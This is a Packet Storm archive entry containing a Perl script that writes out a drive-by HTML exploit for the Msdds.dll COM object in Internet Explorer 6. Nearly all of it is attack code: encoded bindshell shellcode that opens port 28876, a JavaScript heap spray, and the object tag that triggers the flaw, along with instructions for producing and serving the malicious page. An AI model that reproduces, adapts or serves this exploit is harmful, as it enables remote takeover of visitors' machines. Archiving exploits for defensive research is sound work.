IE-Msddsdll-0day.txt

2005-08-19T00:00:00
ID PACKETSTORM:39480
Type packetstorm
Reporter Packet Storm
Modified 2005-08-19T00:00:00

Description

                                        
                                            `#!/usr/bin/perl  
#######################################################  
#   
# Microsoft Internet Explorer "Msdds.dll" Remote Code Execution Exploit (0day)  
#  
# Bindshell on port 28876 - Vulnerability discovered and exploited by Anonymous  
#   
# PoC code ripped from Berend-Jan Wever's Internet-Exploiter  
#  
# Vulnerable : EC444CB6-3E7E-4865-B1C3-0DE72EF39B3F (Msdds.dll)  
#  
# Tested on : Microsoft Internet Explorer 6 SP2 (Windows XP SP2)  
#  
# Code usage : perl IE-Msddsdll-0day.pl > mypage.html  
#   
#######################################################  
#  
# This program is free software; you can redistribute it and/or modify it under  
# the terms of the GNU General Public License version 2, 1991 as published by  
# the Free Software Foundation.  
#   
# This program is distributed in the hope that it will be useful, but WITHOUT  
# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS  
# FOR A PARTICULAR PURPOSE. See the GNU General Public License for more  
# details.  
#   
# A copy of the GNU General Public License can be found at:  
# http://www.gnu.org/licenses/gpl.html  
# or you can write to:  
# Free Software Foundation, Inc.  
# 59 Temple Place - Suite 330  
# Boston, MA 02111-1307  
# USA.  
#  
#######################################################  
  
# header  
my $header = "<html><body>\n<SCRIPT language=\"javascript\">\n";  
  
# Win32 bindshell (port 28876) - SkyLined  
my $shellcode = "shellcode = unescape(\"%u4343\"+\"%u4343\"+\"%u43eb".  
"%u5756%u458b%u8b3c%u0554%u0178%u52ea%u528b%u0120%u31ea".  
"%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf%u01ac%u85c7".  
"%u75c0%u39f6%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b%u8b4b".  
"%u1c5a%ueb01%u048b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64".  
"%u3040%u408b%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c".  
"%u6850%u3233%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe".  
"%uff90%uffff%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0".  
"%u40c4%ubb50%u7d22%u7dab%u75e8%uffff%u31ff%u50c0%u5050".  
"%u4050%u4050%ubb50%u55a6%u7934%u61e8%uffff%u89ff%u31c6".  
"%u50c0%u3550%u0102%ucc70%uccfe%u8950%u50e0%u106a%u5650".  
"%u81bb%u2cb4%ue8be%uff42%uffff%uc031%u5650%ud3bb%u58fa".  
"%ue89b%uff34%uffff%u6058%u106a%u5054%ubb56%uf347%uc656".  
"%u23e8%uffff%u89ff%u31c6%u53db%u2e68%u6d63%u8964%u41e1".  
"%udb31%u5656%u5356%u3153%ufec0%u40c4%u5350%u5353%u5353".  
"%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353".  
"%u5343%u534b%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe".  
"%u5bff%uc031%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff".  
"%uef87%u12bb%u6d6b%ue8d0%ufec2%uffff%uc483%u615c%u89eb\");\n";  
  
# Memory   
my $code = "bigblock = unescape(\"%u0D0D%u0D0D\");\n".  
"headersize = 20;\n".  
"slackspace = headersize+shellcode.length\n".  
"while (bigblock.length<slackspace) bigblock+=bigblock;\n".  
"fillblock = bigblock.substring(0, slackspace);\n".  
"block = bigblock.substring(0, bigblock.length-slackspace);\n".  
"while(block.length+slackspace<0x40000) block = block+block+fillblock;\n".  
"memory = new Array();\n".  
"for (i=0;i<700;i++) memory[i] = block + shellcode;\n".  
"</SCRIPT>\n";  
  
# Msdds.dll  
my $clsid = 'EC444CB6-3E7E-4865-B1C3-0DE72EF39B3F';   
  
# footer  
my $footer = "<object classid=\"CLSID:".$clsid."\"></object></body></html>\n".  
"Microsoft Internet Explorer Msdds.dll COM Object Remote Exploit\n";  
  
# print "Content-Type: text/html;\r\n\r\n"; # if you are in cgi-bin  
print "$header $shellcode $code $footer";   
`